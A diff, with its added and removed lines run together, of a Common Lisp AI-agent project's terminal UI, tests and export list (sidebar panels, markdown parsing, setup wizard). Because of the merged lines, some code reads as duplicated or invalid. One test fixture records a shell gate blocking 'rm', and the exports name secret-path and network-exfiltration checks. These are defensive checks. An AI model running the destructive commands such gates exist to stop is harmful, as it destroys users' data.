(test test-markdown-bold
"Contract 7: parse-markdown-spans detects **bold**."
(let ((segments (parse-markdown-spans "hello **world**!")))
(is (= 3 (length segments)))))
(test test-markdown-plain
"Contract 7: plain text returns single segment."
(let ((segments (parse-markdown-spans "plain")))
(is (= 1 (length segments)))
(is (string= "plain" (caar segments)))))
(test test-markdown-url
"Contract 7: parse-markdown-spans detects URLs."
(let ((segments (parse-markdown-spans "see https://example.com for more")))
(is (>= (length segments) 2))
(is (find t segments :key (lambda (s) (getf (cdr s) :url))))))
(test test-markdown-blocks
"Contract 8: parse-markdown-blocks detects code blocks."
(let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after"))
(segs (parse-markdown-blocks text)))
(is (= 3 (length segs)))
(let ((code (second segs)))
(is (eq t (getf code :code-block)))
(is (string= "lisp" (getf code :lang)))
(is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content)))))))
(test test-markdown-blocks-no-close
"Contract 8: unclosed code block returns content."
(let* ((text (format nil "```~%unclosed code"))
(segs (parse-markdown-blocks text)))
(is (= 1 (length segs)))
(is (eq t (getf (first segs) :code-block)))))
(test test-syntax-highlight
"Contract 9: syntax-highlight colors Lisp code."
(let ((segs (syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
(is (>= (length segs) 3))))
(test test-syntax-highlight-keyword
"Contract 9: syntax-highlight colors keywords."
(let ((segs (syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
(is (>= (length segs) 2))
(is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
(test test-syntax-highlight-function
"Contract 9: syntax-highlight colors function calls."
(let ((segs (syntax-highlight "(+ 1 2)" "lisp")))
(is (>= (length segs) 2))
(is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
(test test-gate-trace-lines-passed
"Contract 9: gate-trace-lines for passed gate."
(let ((lines (gate-trace-lines
'((:gate "path" :result :passed)))))
(is (= 1 (length lines)))
(is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
(test test-gate-trace-lines-blocked
"Contract 9: gate-trace-lines for blocked gate."
(let ((lines (gate-trace-lines
'((:gate "shell" :result :blocked :reason "rm")))))
(is (= 1 (length lines)))
(is (search "rm" (caar lines)))))
(test test-gate-trace-lines-approval
"Contract 9: gate-trace-lines for approval gate."
(let ((lines (gate-trace-lines
'((:gate "network" :result :approval)))))
(is (= 1 (length lines)))
(is (search "HITL" (caar lines)))))
(test test-init-state-has-collapsed-gates
"Contract v0.7.2: init-state includes :collapsed-gates field."
(passepartout.channel-tui::init-state)
(let ((cg (passepartout.channel-tui::st :collapsed-gates)))
(is (null cg))))
(in-package :passepartout.channel-tui)
(defun char-width (ch)
"Returns the terminal column width of character CH.
@@ -160,7 +268,35 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
((<= #xFE00 code #xFE0F) 0)
(t 1))))
(in-package :passepartout)
(defun word-wrap (text max-width)
"Split TEXT into lines that fit within MAX-WIDTH columns.
Word-breaks at spaces when possible; breaks mid-word if necessary.
Respects CJK/emoji char widths via char-width."
(let ((lines nil)
(start 0)
(end (length text)))
(loop while (< start end) do
(let* ((col 0)
(pos start)
(last-break start))
(loop while (< pos end)
for width = (char-width (char text pos)) do
(when (char= (char text pos) #\Space)
(setf last-break pos))
(when (> (+ col width) max-width)
(return))
(incf col width)
(incf pos)
(when (>= pos end) (return)))
(let ((line-end (if (> pos start) pos (1+ start))))
(when (>= line-end end) (setf line-end end))
(push (subseq text start line-end) lines)
(setf start (if (and (< line-end end) (char= (char text line-end) #\Space))
(1+ line-end)
line-end)))))
(nreverse lines)))
(in-package :passepartout.channel-tui)
(defun parse-markdown-spans (text)
"Parse inline markdown. Returns list of (text . (:bold/:underline/:code/:url ...))."
@@ -209,14 +345,19 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
(bold (getf attrs :bold))
(code (getf attrs :code))
(underline (getf attrs :underline))
(url (getf attrs :url)))
(url (getf attrs :url))
(style-bits (append (when bold '(:bold))
(when underline '(:underline)))))
(when style-bits
(add-attributes win (get-bitmask style-bits)))
(add-string win text :y y :x x :n (max 1 (- w x))
:bold bold :underline underline
:bgcolor (when code (theme-color :dim))
:fgcolor (cond (url (theme-color :highlight))
(t (theme-color (or (getf attrs :role) :agent)))))
:bgcolor (when code (theme-color :dim))
:fgcolor (cond (url (theme-color :highlight))
(t (theme-color (or (getf attrs :role) :agent)))))
(when style-bits
(remove-attributes win (get-bitmask style-bits)))
(incf x (length text))))
y)
(1+ y))
(defun parse-markdown-blocks (text)
"Split text at ``` code block boundaries."
@@ -280,7 +421,7 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
(setf p fe)))))))))
(nreverse r)))
(in-package :passepartout)
(in-package :passepartout.channel-tui)
(defun gate-trace-lines (trace)
"Convert gate-trace plist to display lines."
@@ -291,14 +432,14 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
(reason (getf entry :reason))
(name (or gate "unknown"))
(color (case result
(:passed :gate-passed)
(:blocked :gate-blocked)
(:approval :gate-approval)
(t :dim)))
(:passed (theme-color :gate-passed))
(:blocked (theme-color :gate-blocked))
(:approval (theme-color :gate-approval))
(t (theme-color :dim))))
(prefix (case result
(:passed " \u2713 ")
(:blocked " \u2717 ")
(:approval " \u2192 ")
(:passed " ")
(:blocked " ")
(:approval " ")
(t " ? ")))
(text (format nil "~a~a~@[~a~]~@[~a~]"
prefix name
@@ -307,110 +448,313 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
(push (cons text (list :fgcolor color)) lines)))
(nreverse lines)))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(in-package :passepartout.channel-tui)
(defpackage :passepartout-tui-view-tests
(:use :cl :fiveam :passepartout)
(:export #:tui-view-suite))
(defun view-sidebar (win)
"Render 42-column sidebar with 7 panels: Gate Trace, Focus, Rules, Context, Files, Cost, Protection."
(clear win)
(setf (color-pair win) (list (theme-color :border) (theme-color :background)))
(box win 0 0)
(let* ((w (or (width win) 42))
(h (or (height win) 24))
(y 1)
(gate-trace (st :gate-trace))
(foveal-id (st :foveal-id))
(rule-count (or (st :rule-count) 0))
(context-usage (st :context-usage))
(modified-files (st :modified-files))
(session-cost (st :session-cost))
(block-counts (st :block-counts)))
;; Panel 1: Gate Trace
(add-string win "── Gate Trace ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
(incf y)
(if gate-trace
(dolist (entry (gate-trace-lines gate-trace))
(when (< y (1- h))
(add-string win (car entry) :y y :x 2 :n (- w 4)
:fgcolor (or (getf (cdr entry) :fgcolor) (theme-color :dim)))
(incf y)))
(add-string win " (no trace)" :y y :x 2 :n (- w 4) :fgcolor (theme-color :dim)))
;; Panel 2: Focus
(incf y)
(add-string win "── Focus ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
(incf y)
(add-string win (format nil " ~a" (or foveal-id "(none)")) :y y :x 2 :n (- w 4) :fgcolor (theme-color :focus-map))
;; Panel 3: Rules
(incf y 2)
(add-string win "── Rules ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
(incf y)
(add-string win (format nil " Rules: ~d" rule-count) :y y :x 2 :n (- w 4) :fgcolor (theme-color :rule-count))
;; Panel 4: Context gauge
(incf y 2)
(add-string win "── Context ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
(incf y)
(let* ((pct (or context-usage 0))
(bar-width 30)
(filled (min bar-width (floor (* pct bar-width) 100)))
(gauge-color (cond ((< pct 50) (theme-color :connected))
((< pct 80) (theme-color :warning))
((< pct 95) (theme-color :tool-running))
(t (theme-color :error)))))
(add-string win (format nil " [~a~a] ~d%"
(make-string filled :initial-element #\█)
(make-string (- bar-width filled) :initial-element #\░)
pct)
:y y :x 2 :n (- w 4) :fgcolor gauge-color))
;; Panel 5: Files
(incf y 2)
(add-string win "── Files ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
(incf y)
(if modified-files
(dolist (f modified-files)
(when (< y (1- h))
(let ((fp (getf f :filepath))
(added (getf f :lines-added))
(removed (getf f :lines-removed)))
(add-string win (format nil " ~a~@[ +~d~]~@[ -~d~]"
(subseq fp (max 0 (- (length fp) 30)))
(when (> added 0) added)
(when (> removed 0) removed))
:y y :x 2 :n (- w 4) :fgcolor (theme-color :agent))
(incf y))))
(add-string win " (no changes)" :y y :x 2 :n (- w 4) :fgcolor (theme-color :dim)))
;; Panel 6: Cost
(incf y 2)
(add-string win "── Cost ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
(incf y)
(if session-cost
(progn
(add-string win (format nil " Total: $~,4f" (getf session-cost :total))
:y y :x 2 :n (- w 4) :fgcolor (theme-color :agent))
(incf y)
(add-string win (format nil " Calls: ~d" (getf session-cost :calls))
:y y :x 2 :n (- w 4) :fgcolor (theme-color :agent)))
(add-string win " (no data)" :y y :x 2 :n (- w 4) :fgcolor (theme-color :dim)))
;; Panel 7: Protection
(incf y 2)
(add-string win "── Protection ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
(incf y)
(if (and block-counts (> (getf block-counts :total) 0))
(let ((by-gate (getf block-counts :by-gate)))
(dolist (entry (subseq by-gate 0 (min (length by-gate) 6)))
(when (< y (1- h))
(add-string win (format nil " ~a: ~d" (car entry) (cdr entry))
:y y :x 2 :n (- w 4) :fgcolor (theme-color :gate-blocked))
(incf y))))
(add-string win " (no blocks)" :y y :x 2 :n (- w 4) :fgcolor (theme-color :dim)))
(refresh win)
(- y 1)))
(defun view-minibuffer (win)
"Render the bottom-anchored minibuffer panel. Dispatches on :minibuffer-mode."
(case (st :minibuffer-mode)
(:slash-menu (view-slash-menu win))
(:wizard (view-wizard-in-panel win))
(t nil)))
(defvar *slash-commands* nil) ; forward declaration — defined in channel-tui-main
(defun view-slash-menu (win)
"Render the slash-command menu: filter bar, filtered command list, selection highlight."
(clear win)
(setf (color-pair win) (list (theme-color :border) (theme-color :background)))
(box win 0 0)
(let* ((w (or (width win) 60))
(h (or (height win) 10))
(y 1)
(filter (or (st :minibuffer-filter) ""))
(commands passepartout.channel-tui::*slash-commands*)
(filtered (if (or (null filter) (string= filter ""))
(mapcar (lambda (c) (list :index (position c commands) :cmd c)) commands)
(let ((q (string-downcase filter)) (i 0) (r nil))
(dolist (c commands (nreverse r))
(when (or (search q (string-downcase (getf c :name)))
(search q (string-downcase (or (getf c :desc) ""))))
(push (list :index i :cmd c) r))
(incf i)))))
(sel (or (st :minibuffer-selected-idx) 0))
(max-visible (- h 3)))
;; Header: filter bar
(add-string win (format nil " Commands") :y y :x 2 :n (- w 4) :fgcolor (theme-color :accent))
(incf y)
(add-string win (format nil " > ~a_" (if (> (length filter) 0) filter "/"))
:y y :x 2 :n (- w 4) :fgcolor (theme-color :input))
(incf y)
;; Command list
(if filtered
(let* ((start (max 0 (- sel (floor max-visible 2))))
(end (min (length filtered) (+ start max-visible)))
(flat-i 0))
(loop for entry across (subseq (coerce filtered 'vector) start end)
for fi from start
for cmd = (getf entry :cmd)
do (let* ((name (getf cmd :name))
(desc (getf cmd :desc))
(selected (= fi sel))
(fg (if selected (theme-color :highlight) (theme-color :agent))))
(when selected
(add-string win (make-string (- w 4) :initial-element #\Space) :y y :x 2 :n (- w 4)
:fgcolor (theme-color :dim) :bgcolor (theme-color :highlight)))
(let ((prefix (if selected " > " " ")))
(add-string win (format nil "~a~a" prefix name) :y y :x 3 :n (min (- w 6) 25) :fgcolor fg)
(when desc
(add-string win (format nil " — ~a" desc) :y y :x 28 :n (min (- w 30) (length desc)) :fgcolor (theme-color :dim))))
(incf y))))
(progn
(add-string win " (no matching commands)" :y y :x 2 :n (- w 4) :fgcolor (theme-color :dim))
(incf y)))
;; Footer
(add-string win " ↑↓ Navigate Enter Execute Esc Close"
:y (- h 0) :x 2 :n (- w 4) :fgcolor (theme-color :dim))
(refresh win)
(- h 0)))
(defun view-wizard-in-panel (win)
"Render the setup wizard in the bottom-anchored minibuffer panel. Three modes: provider-list, key-entry, cascade-config."
(clear win)
(setf (color-pair win) (list (theme-color :border) (theme-color :background)))
(box win 0 0)
(let* ((w (or (width win) 70))
(h (or (height win) 14))
(y 1)
(mode (st :wizard-mode))
(error-msg (st :wizard-error))
(selected-idx (st :wizard-selected-idx))
(providers (passepartout.channel-tui::wizard-provider-list))
(configured (st :wizard-providers)))
(add-string win "Setup Wizard" :y y :x 2 :n (- w 4) :fgcolor (theme-color :accent))
(incf y 2)
(case mode
(:provider-list
(let ((count (/ (length configured) 2)))
(add-string win (format nil "Configure Providers~a"
(if (> count 0) (format nil " — ~d configured" count) ""))
:y y :x 2 :n (- w 4) :fgcolor (theme-color :dim))
(incf y)
(loop for p in providers
for i from 0
do (let* ((meta (passepartout.channel-tui::wizard-provider-meta p))
(name (car meta))
(key (getf configured p))
(prefix (if (= i selected-idx) "> " " "))
(suffix (if key " ✓" ""))
(color (if (= i selected-idx)
(theme-color :highlight)
(theme-color :dim))))
(add-string win (format nil "~a~a~a" prefix name suffix)
:y y :x 3 :n (- w 6) :fgcolor color)
(incf y)))
(incf y)
(add-string win " Done — configure cascade"
:y y :x 3 :n (- w 6)
:fgcolor (if (>= selected-idx (length providers))
(theme-color :highlight)
(theme-color :dim)))
(when (>= selected-idx (length providers))
(add-string win ">" :y y :x 1 :n 2 :fgcolor (theme-color :highlight))))
(:key-entry
(let* ((provider (st :wizard-current-provider))
(meta (passepartout.channel-tui::wizard-provider-meta provider))
(name (car meta))
(url (cadr meta))
(input (or (st :wizard-input) "")))
(add-string win (format nil "API Key: ~a" name) :y y :x 2 :n (- w 4) :fgcolor (theme-color :agent))
(incf y)
(when url
(add-string win (format nil "Get key at: ~a" url) :y y :x 3 :n (- w 6) :fgcolor (theme-color :dim))
(incf y))
(add-string win "Enter your API key." :y y :x 3 :n (- w 6) :fgcolor (theme-color :dim))
(incf y 2)
(add-string win (format nil "Key: > ~a" input) :y y :x 3 :n (- w 6) :fgcolor (theme-color :input))
(incf y)
(when error-msg
(add-string win (format nil "! ~a" error-msg) :y y :x 3 :n (- w 6) :fgcolor (theme-color :error))
(incf y))
(incf y)
(add-string win "Enter=Save Esc=Back Bksp=Edit Ctrl+U=Clear"
:y (- h 0) :x 2 :n (- w 4) :fgcolor (theme-color :dim))
(return-from view-wizard-in-panel)))
(:cascade-config
(let* ((slot (st :wizard-cascade-slot))
(slot-providers (getf (st :wizard-cascade) slot))
(slot-label (cadr (assoc slot passepartout.channel-tui::*wizard-cascade-labels*)))
(count (/ (length configured) 2)))
(add-string win (format nil "Configure Cascade — ~d provider~:p" count)
:y y :x 2 :n (- w 4) :fgcolor (theme-color :dim))
(incf y)
(add-string win (or slot-label "Unknown") :y y :x 2 :n (- w 4) :fgcolor (theme-color :accent))
(incf y)
(let ((shown nil))
(loop for p in providers
for i from 0
do (when (getf configured p)
(let* ((meta (passepartout.channel-tui::wizard-provider-meta p))
(name (car meta))
(in-slot (member p slot-providers))
(prefix (if (= i selected-idx) "> " " "))
(mark (if in-slot " [✓]" " [ ]"))
(color (if (= i selected-idx)
(theme-color :highlight)
(if in-slot (theme-color :gate-passed) (theme-color :dim)))))
(add-string win (format nil "~a~a~a" prefix name mark)
:y y :x 3 :n (- w 6) :fgcolor color)
(incf y)
(push t shown))))
(unless shown
(add-string win " (no providers configured)"
:y y :x 3 :n (- w 6) :fgcolor (theme-color :dim))
(incf y)))
(incf y)
(add-string win (format nil "Cascade: ~{~a~^, ~}"
(or slot-providers '("(none)")))
:y y :x 3 :n (- w 6) :fgcolor (theme-color :dim))))
(when error-msg
(incf y)
(add-string win (format nil "! ~a" error-msg) :y y :x 3 :n (- w 6) :fgcolor (theme-color :error)))
(let ((footer (case mode
(:provider-list "↑↓ Navigate Enter=Select Esc=Back Ctrl+D=Remove")
(:cascade-config "↑↓ Select Enter=Toggle Tab=Next Quadrant Ctrl+S=Save Esc=Back")
(t ""))))
(when footer
(add-string win footer :y (- h 0) :x 2 :n (- w 4) :fgcolor (theme-color :dim))))
(- h 0)))))
(in-package :passepartout-tui-view-tests)
(def-suite tui-view-suite :description "TUI view rendering helpers")
(in-suite tui-view-suite)
(test test-theme-hex-string-keys-exist
"v0.8.0: all 27 theme keys are present in *tui-theme*."
(let* ((theme passepartout.channel-tui::*tui-theme*)
(required '(:user :agent :system :input :timestamp :help :error :warning
:connected :disconnected :busy :idle
:gate-passed :gate-blocked :gate-approval :hitl
:tool-running :tool-success :tool-failure :tool-output
:scroll-indicator :border :background
:rule-count :focus-map
:dim :highlight :accent)))
(dolist (key required)
(is (getf theme key) (format nil "~a should be defined" key)))))
(test test-char-width-ascii
"Contract 5: ASCII characters (< 128) have width 1."
(is (= 1 (passepartout::char-width #\a)))
(is (= 1 (passepartout::char-width #\Space)))
(is (= 1 (passepartout::char-width #\@))))
(test test-theme-presets-count
"v0.8.0: 8 presets defined: dark, light, solarized, gruvbox, nord, tokyonight, catppuccin, monokai."
(let* ((presets passepartout.channel-tui::*tui-theme-presets*)
(names '(:dark :light :solarized :gruvbox :nord :tokyonight :catppuccin :monokai)))
(dolist (name names)
(is (getf presets name) (format nil "~a preset should exist" name)))))
(test test-char-width-tab
"Contract 5: tab character has width 8."
(is (= 8 (passepartout::char-width #\Tab))))
(test test-char-width-cjk
"Contract 5: CJK characters have width 2."
(is (= 2 (passepartout::char-width #\日))))
(test test-char-width-null
"Contract 5: null has width 0."
(is (= 0 (passepartout::char-width #\Nul))))
(test test-markdown-bold
"Contract 7: parse-markdown-spans detects **bold**."
(let ((segments (passepartout::parse-markdown-spans "hello **world**!")))
(is (= 3 (length segments)))))
(test test-markdown-plain
"Contract 7: plain text returns single segment."
(let ((segments (passepartout::parse-markdown-spans "plain")))
(is (= 1 (length segments)))
(is (string= "plain" (caar segments)))))
(test test-markdown-url
"Contract 7: parse-markdown-spans detects URLs."
(let ((segments (passepartout::parse-markdown-spans "see https://example.com for more")))
(is (>= (length segments) 2))
(is (find t segments :key (lambda (s) (getf (cdr s) :url))))))
(test test-markdown-blocks
"Contract 8: parse-markdown-blocks detects code blocks."
(let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after"))
(segs (passepartout::parse-markdown-blocks text)))
(is (= 3 (length segs)))
(let ((code (second segs)))
(is (eq t (getf code :code-block)))
(is (string= "lisp" (getf code :lang)))
(is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content)))))))
(test test-markdown-blocks-no-close
"Contract 8: unclosed code block returns content."
(let* ((text (format nil "```~%unclosed code"))
(segs (passepartout::parse-markdown-blocks text)))
(is (= 1 (length segs)))
(is (eq t (getf (first segs) :code-block)))))
(test test-syntax-highlight
"Contract 9: syntax-highlight colors Lisp code."
(let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
(is (>= (length segs) 3))))
(test test-syntax-highlight-keyword
"Contract 9: syntax-highlight colors keywords."
(let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
(is (>= (length segs) 2))
(is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
(test test-syntax-highlight-function
"Contract 9: syntax-highlight colors function calls."
(let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp")))
(is (>= (length segs) 2))
(is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
(test test-gate-trace-lines-passed
"Contract 9: gate-trace-lines for passed gate."
(let ((lines (passepartout::gate-trace-lines
'((:gate "path" :result :passed)))))
(is (= 1 (length lines)))
(is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
(test test-gate-trace-lines-blocked
"Contract 9: gate-trace-lines for blocked gate."
(let ((lines (passepartout::gate-trace-lines
'((:gate "shell" :result :blocked :reason "rm")))))
(is (= 1 (length lines)))
(is (search "rm" (caar lines)))))
(test test-gate-trace-lines-approval
"Contract 9: gate-trace-lines for approval gate."
(let ((lines (passepartout::gate-trace-lines
'((:gate "network" :result :approval)))))
(is (= 1 (length lines)))
(is (search "HITL" (caar lines)))))
(test test-init-state-has-collapsed-gates
"Contract v0.7.2: init-state includes :collapsed-gates field."
(test test-minibuffer-init-state-fields
"Contract v0.8.0: init-state includes minibuffer-mode, selected-idx, filter; excludes palette and wizard-visible."
(passepartout.channel-tui::init-state)
(let ((cg (passepartout.channel-tui::st :collapsed-gates)))
(is (null cg))))
(is (null (passepartout.channel-tui::st :minibuffer-mode)))
(is (= 0 (passepartout.channel-tui::st :minibuffer-selected-idx)))
(is (string= "" (passepartout.channel-tui::st :minibuffer-filter)))
(is (null (getf passepartout.channel-tui::*state* :palette-visible)))
(is (null (getf passepartout.channel-tui::*state* :wizard-visible))))
(test test-slash-commands-entry-count
"Contract v0.8.0: *slash-commands* has at least 19 entries, each with :name, :desc, :action."
(let ((cmds passepartout.channel-tui::*slash-commands*))
(is (>= (length cmds) 19))
(dolist (c cmds)
(is (stringp (getf c :name)))
(is (stringp (getf c :desc)))
(is (functionp (getf c :action))))))

View File

@@ -32,6 +32,19 @@
0))
(setf (getf (getf action :payload) :foveal-id)
(getf context :foveal-id))
;; v0.8.0: sidebar enrichment via fboundp guards
(when (fboundp 'dispatcher-block-counts-summary)
(setf (getf (getf action :payload) :block-counts)
(dispatcher-block-counts-summary)))
(when (fboundp 'context-usage-percentage)
(setf (getf (getf action :payload) :context-usage)
(context-usage-percentage)))
(when (fboundp 'tool-modified-files-summary)
(setf (getf (getf action :payload) :modified-files)
(tool-modified-files-summary)))
(when (fboundp 'cost-session-summary)
(setf (getf (getf action :payload) :session-cost)
(cost-session-summary)))
(format stream "~a" (frame-message action))
(finish-output stream))))))

View File

@@ -1,24 +1,40 @@
(defpackage :passepartout
(:use :cl)
(:export
;; ── Core: Transport & Protocol ──
#:frame-message
#:read-framed-message
#:PROTO-GET
#:proto-get
#:*VAULT-MEMORY*
#:PROTO-GET
#:proto-get
#:make-hello-message
#:validate-communication-protocol-schema
#:start-daemon
#:log-message
#:register-actuator
#:actuator-initialize
#:action-dispatch
;; ── Core: Pipeline ──
#:main
#:diagnostics-run-all
#:diagnostics-main
#:diagnostics-dependencies-check
#:diagnostics-env-check
#:register-provider
#:provider-openai-request
#:provider-config
#:run-setup-wizard
#:log-message
#:*log-buffer*
#:*log-lock*
#:process-signal
#:loop-process
#:perceive-gate
#:loop-gate-perceive
#:act-gate
#:loop-gate-act
#:reason-gate
#:loop-gate-reason
#:cognitive-verify
#:backend-cascade-call
#:json-alist-to-plist
#:stimulus-inject
#:register-probabilistic-backend
#:*probabilistic-backends*
#:*provider-cascade*
;; ── Core: Memory ──
#:ingest-ast
#:memory-object-get
#:*memory-store*
@@ -35,6 +51,7 @@
#:memory-object-content
#:memory-object-hash
#:memory-object-scope
#:memory-objects-by-attribute
#:snapshot-memory
#:rollback-memory
#:undo-snapshot
@@ -42,10 +59,12 @@
#:redo
#:*undo-stack*
#:*redo-stack*
#:context-get-system-logs
#:context-assemble-global-awareness
#:context-awareness-assemble
#:context-query
;; ── Core: Context & Awareness ──
#:context-get-system-logs
#:context-assemble-global-awareness
#:context-awareness-assemble
#:context-query
#:push-context
#:pop-context
#:current-context
@@ -57,91 +76,25 @@
#:focus-session
#:focus-memex
#:unfocus
#:process-signal
#:loop-process
#:perceive-gate
#:loop-gate-perceive
#:act-gate
#:loop-gate-act
#:reason-gate
#:loop-gate-reason
#:cognitive-verify
#:backend-cascade-call
#:json-alist-to-plist
#:json-alist-to-plist
#:inject-stimulus
#:stimulus-inject
#:hitl-create
#:hitl-approve
#:hitl-deny
#:hitl-handle-message
#:dispatcher-check-secret-path
#:dispatcher-check-shell-safety
#:dispatcher-check-privacy-tags
#:dispatcher-check-network-exfil
#:dispatcher-check
#:dispatcher-gate
#:wildcard-match
#:actuator-initialize
#:action-dispatch
#:register-actuator
#:load-skill-from-org
#:skill-initialize-all
#:lisp-syntax-validate
#:defskill
#:*skill-registry*
#:*scope-resolver*
#:*embedding-backend*
#:*embedding-queue*
#:*embedding-provider*
#:embed-queue-object
#:embed-object
#:embed-all-pending
#:embedding-backend-hashing
#:embedding-backend-native
#:embedding-native-load-model
#:embedding-native-unload
#:embedding-native-ensure-loaded
#:embedding-native-get-dim
#:embeddings-compute
#:mark-vector-stale
#:skill
#:*scope-resolver*
;; ── Core: Skills Engine ──
#:skill
#:skill-name
#:skill-priority
#:skill-dependencies
#:skill-trigger-fn
#:skill-probabilistic-prompt
#:skill-deterministic-fn
#:defskill
#:*skill-registry*
#:skill-initialize-all
#:load-skill-from-org
#:lisp-syntax-validate
;; ── Core: Cognitive Tools ──
#:def-cognitive-tool
#:*cognitive-tool-registry*
#:org-read-file
#:org-write-file
#:org-headline-add
#:org-headline-find-by-id
#:literate-tangle-sync-check
#:archivist-create-note
#:gateway-start
#:org-property-set
#:org-todo-set
#:org-id-generate
#:org-id-format
#:org-modify
#:lisp-validate
#:lisp-structural-check
#:lisp-syntactic-check
#:lisp-semantic-check
#:lisp-eval
#:lisp-format
#:lisp-list-definitions
#:lisp-extract
#:lisp-inject
#:lisp-slurp
#:get-oc-config-dir
#:get-tool-permission
#:set-tool-permission
#:check-tool-permission-gate
#:permission-get
#:permission-set
#:cognitive-tool
#:cognitive-tool-name
#:cognitive-tool-description
@@ -149,53 +102,128 @@
#:cognitive-tool-guard
#:cognitive-tool-body
#:tool-read-only-p
#:register-probabilistic-backend
#:*probabilistic-backends*
#:*provider-cascade*
#:vault-get
#:vault-set
#:vault-get-secret
#:vault-set-secret
#:memory-objects-by-attribute
#:channel-cli-input
#:repl-eval
#:repl-inspect
#:repl-list-vars
#:policy-compliance-check
#:validator-protocol-check
#:archivist-extract-headlines
#:archivist-headline-to-filename
#:literate-extract-lisp-blocks
#:literate-block-balance-check
#:gateway-registry-initialize
#:messaging-link
#:messaging-unlink
#:gateway-configured-p
#:count-tokens
#:model-token-ratio
#:token-cost
#:provider-token-cost
#:cost-track-call
#:cost-session-total
#:cost-session-calls
#:cost-by-provider
#:cost-session-reset
#:cost-format-budget-status
#:cost-track-backend-call
#:prompt-prefix-cached
#:context-assemble-cached
#:enforce-token-budget
#:token-economics-initialize))
;; ── Security: Dispatcher ──
#:dispatcher-check-secret-path
#:dispatcher-check-shell-safety
#:dispatcher-check-privacy-tags
#:dispatcher-check-network-exfil
#:dispatcher-check
#:dispatcher-gate
#:wildcard-match
;; ── Security: HITL ──
#:hitl-create
#:hitl-approve
#:hitl-deny
#:hitl-handle-message
;; ── Security: Vault & Permissions ──
#:*VAULT-MEMORY*
#:vault-get
#:vault-set
#:vault-get-secret
#:vault-set-secret
#:get-tool-permission
#:set-tool-permission
#:check-tool-permission-gate
#:permission-get
#:permission-set
#:policy-compliance-check
#:validator-protocol-check
;; ── Embedding ──
#:*embedding-backend*
#:*embedding-queue*
#:*embedding-provider*
#:embed-queue-object
#:embed-object
#:embed-all-pending
#:embedding-backend-hashing
#:embedding-backend-native
#:embedding-native-load-model
#:embedding-native-unload
#:embedding-native-ensure-loaded
#:embedding-native-get-dim
#:embeddings-compute
#:mark-vector-stale
;; ── Channels ──
#:channel-cli-input
#:gateway-start
#:gateway-registry-initialize
#:messaging-link
#:messaging-unlink
#:gateway-configured-p
;; ── Programming: Lisp ──
#:lisp-validate
#:lisp-structural-check
#:lisp-syntactic-check
#:lisp-semantic-check
#:lisp-eval
#:lisp-format
#:lisp-list-definitions
#:lisp-extract
#:lisp-inject
#:lisp-slurp
;; ── Programming: Org ──
#:org-read-file
#:org-write-file
#:org-headline-add
#:org-headline-find-by-id
#:org-property-set
#:org-todo-set
#:org-id-generate
#:org-id-format
#:org-modify
;; ── Programming: Literate & REPL ──
#:literate-tangle-sync-check
#:literate-extract-lisp-blocks
#:literate-block-balance-check
#:repl-eval
#:repl-inspect
#:repl-list-vars
;; ── Symbolic ──
#:archivist-create-note
#:archivist-extract-headlines
#:archivist-headline-to-filename
;; ── Diagnostics & Config ──
#:diagnostics-run-all
#:diagnostics-main
#:diagnostics-dependencies-check
#:diagnostics-env-check
#:get-oc-config-dir
#:run-setup-wizard
;; ── Providers ──
#:register-provider
#:provider-openai-request
#:provider-config
;; ── Token Economics ──
#:count-tokens
#:model-token-ratio
#:token-cost
#:provider-token-cost
#:cost-track-call
#:cost-session-total
#:cost-session-calls
#:cost-by-provider
#:cost-session-reset
#:cost-format-budget-status
#:cost-track-backend-call
#:prompt-prefix-cached
#:context-assemble-cached
#:enforce-token-budget
#:token-economics-initialize))
(in-package :passepartout)
(defun plist-get (plist key)
"Robust plist accessor — checks both :KEY and :key variants."
(let* ((s (string key))
(up (intern (string-upcase s) :keyword))
(dn (intern (string-downcase s) :keyword)))
(or (getf plist up) (getf plist dn))))
(defvar *log-buffer* nil)
(defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock"))
(defvar *log-limit* 100)

View File

@@ -19,9 +19,6 @@
FN receives (signal) and returns T if consumed, nil to continue."
(setf (gethash sensor *pre-reason-handlers*) fn))
(defun inject-stimulus (raw-message &key stream (depth 0))
(stimulus-inject raw-message :stream stream :depth depth))
(defun stimulus-inject (raw-message &key stream (depth 0))
"Inject a raw message into the signal processing pipeline."
(let* ((payload (getf raw-message :payload))

View File

@@ -1,5 +1,39 @@
(in-package :passepartout)
(define-condition passepartout-error (error)
((message :initarg :message :reader error-message))
(:report (lambda (c s) (format s "Passepartout error: ~a" (error-message c))))
(:documentation "Root of the pipeline error hierarchy."))
(define-condition pipeline-error (passepartout-error)
((signal :initarg :signal :reader pipeline-error-signal :initform nil))
(:report (lambda (c s) (format s "Pipeline error: ~a" (error-message c))))
